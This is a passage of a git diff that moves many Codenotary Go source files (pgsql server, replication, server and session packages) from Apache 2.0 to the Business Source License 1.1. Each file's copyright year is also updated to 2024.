Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/stmts_handler.go b/pkg/pgsql/server/stmts_handler.go index 0f70005df9..dd05343158 100644 --- a/pkg/pgsql/server/stmts_handler.go +++ b/pkg/pgsql/server/stmts_handler.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/types.go b/pkg/pgsql/server/types.go index 81c72b5747..9318beb96f 100644 --- a/pkg/pgsql/server/types.go +++ b/pkg/pgsql/server/types.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/types_test.go b/pkg/pgsql/server/types_test.go index a8dfad18f1..bea21b3c21 100644 --- a/pkg/pgsql/server/types_test.go +++ b/pkg/pgsql/server/types_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/pgsql/server/version.go b/pkg/pgsql/server/version.go index 84f46e9bb7..6cbb168ec6 100644 --- a/pkg/pgsql/server/version.go +++ b/pkg/pgsql/server/version.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/replication/delayer.go b/pkg/replication/delayer.go index 353d536307..4f1b74ba0f 100644 --- a/pkg/replication/delayer.go +++ b/pkg/replication/delayer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/replication/metrics.go b/pkg/replication/metrics.go index a656298586..8f3c824477 100644 --- a/pkg/replication/metrics.go +++ b/pkg/replication/metrics.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/replication/options.go b/pkg/replication/options.go index b046006568..d819d21c42 100644 --- a/pkg/replication/options.go +++ b/pkg/replication/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/replication/options_test.go b/pkg/replication/options_test.go index d691f7a5ff..96573643a8 100644 --- a/pkg/replication/options_test.go +++ b/pkg/replication/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 31bc8d5ce7..17f212dc7d 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/replication/replicator_test.go b/pkg/replication/replicator_test.go index fd765b308c..b8cf9ef1a7 100644 --- a/pkg/replication/replicator_test.go +++ b/pkg/replication/replicator_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/authorization_operations.go b/pkg/server/authorization_operations.go index b10320a170..643c20d15b 100644 --- a/pkg/server/authorization_operations.go +++ b/pkg/server/authorization_operations.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/corruption_checker.go b/pkg/server/corruption_checker.go index d63390b666..a1d4d48b3c 100644 --- a/pkg/server/corruption_checker.go +++ b/pkg/server/corruption_checker.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/corruption_checker_test.go b/pkg/server/corruption_checker_test.go index 976c196760..20ebc1c60c 100644 --- a/pkg/server/corruption_checker_test.go +++ b/pkg/server/corruption_checker_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index db9d020e46..008b989eb5 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index ca75094cdf..af81c35a72 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/db_operations.go b/pkg/server/db_operations.go index 4cdf86a907..fd747cff37 100644 --- a/pkg/server/db_operations.go +++ b/pkg/server/db_operations.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 03d451f930..0ebc1b7661 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/db_options_test.go b/pkg/server/db_options_test.go index abb2174788..e9c1c063af 100644 --- a/pkg/server/db_options_test.go +++ b/pkg/server/db_options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/db_runtime_test.go b/pkg/server/db_runtime_test.go index 1c0f977dbf..e5853ab0b9 100644 --- a/pkg/server/db_runtime_test.go +++ b/pkg/server/db_runtime_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 3ae171e6b5..59b4bea413 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 1d176be678..5a386f31dc 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/error_mapper_interceptor.go b/pkg/server/error_mapper_interceptor.go index ec9fe15d83..1298db5385 100644 --- a/pkg/server/error_mapper_interceptor.go +++ b/pkg/server/error_mapper_interceptor.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/errors.go b/pkg/server/errors.go index 166752d20c..d48ed465d2 100644 --- a/pkg/server/errors.go +++ b/pkg/server/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/errors_test.go b/pkg/server/errors_test.go index 9ab3e779e0..d205d35b7f 100644 --- a/pkg/server/errors_test.go +++ b/pkg/server/errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/keepAlive.go b/pkg/server/keepAlive.go index 4c002c7acb..b7b3d4e239 100644 --- a/pkg/server/keepAlive.go +++ b/pkg/server/keepAlive.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/keep_alive_session_interceptor.go b/pkg/server/keep_alive_session_interceptor.go index cc3229a010..5b93af8bb2 100644 --- a/pkg/server/keep_alive_session_interceptor.go +++ b/pkg/server/keep_alive_session_interceptor.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/metrics.go b/pkg/server/metrics.go index a04cea1254..1ae011aca1 100644 --- a/pkg/server/metrics.go +++ b/pkg/server/metrics.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/metrics_funcs.go b/pkg/server/metrics_funcs.go index c8274c1221..e3da18c835 100644 --- a/pkg/server/metrics_funcs.go +++ b/pkg/server/metrics_funcs.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/metrics_funcs_test.go b/pkg/server/metrics_funcs_test.go index 4d05569bae..de34915d15 100644 --- a/pkg/server/metrics_funcs_test.go +++ b/pkg/server/metrics_funcs_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/metrics_test.go b/pkg/server/metrics_test.go index ea7fba2f89..767dfb5815 100644 --- a/pkg/server/metrics_test.go +++ b/pkg/server/metrics_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index b02e018b60..058a6e4077 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/multidb_handler_test.go b/pkg/server/multidb_handler_test.go index e1b81ac772..be28bded43 100644 --- a/pkg/server/multidb_handler_test.go +++ b/pkg/server/multidb_handler_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/options.go b/pkg/server/options.go index 09c8eaac81..4744eb904c 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/options_test.go b/pkg/server/options_test.go index 33b07b95cc..053d141c18 100644 --- a/pkg/server/options_test.go +++ b/pkg/server/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/pid.go b/pkg/server/pid.go index d96790143a..2f22634fe9 100644 --- a/pkg/server/pid.go +++ b/pkg/server/pid.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/pid_test.go b/pkg/server/pid_test.go index f5dc5a7eb7..e2cc39ea88 100644 --- a/pkg/server/pid_test.go +++ b/pkg/server/pid_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/remote_storage.go b/pkg/server/remote_storage.go index d051a7f230..021df8f46c 100644 --- a/pkg/server/remote_storage.go +++ b/pkg/server/remote_storage.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 9623e90b54..464cd9ea5e 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/server.go b/pkg/server/server.go index 66405382ac..0376c72ad2 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 57fcdea77c..7b1c0fd0ec 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/servertest/server.go b/pkg/server/servertest/server.go index a0b79e0a8f..34fa0ebb7f 100644 --- a/pkg/server/servertest/server.go +++ b/pkg/server/servertest/server.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/servertest/server_mock.go b/pkg/server/servertest/server_mock.go index dd6cf4d7f1..3d6a1a1fae 100644 --- a/pkg/server/servertest/server_mock.go +++ b/pkg/server/servertest/server_mock.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/service.go b/pkg/server/service.go index a99e3ce954..f4bf8ca74e 100644 --- a/pkg/server/service.go +++ b/pkg/server/service.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/service_test.go b/pkg/server/service_test.go index 3c71fcbc39..d28dc7977b 100644 --- a/pkg/server/service_test.go +++ b/pkg/server/service_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/session.go b/pkg/server/session.go index 3d15015baa..bbba03ab53 100644 --- a/pkg/server/session.go +++ b/pkg/server/session.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/session_auth_interceptor.go b/pkg/server/session_auth_interceptor.go index ca1109d066..19cfb0e068 100644 --- a/pkg/server/session_auth_interceptor.go +++ b/pkg/server/session_auth_interceptor.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/errors.go b/pkg/server/sessions/errors.go index d3b10d1c74..08a8dba7a3 100644 --- a/pkg/server/sessions/errors.go +++ b/pkg/server/sessions/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/internal/transactions/errors.go b/pkg/server/sessions/internal/transactions/errors.go index 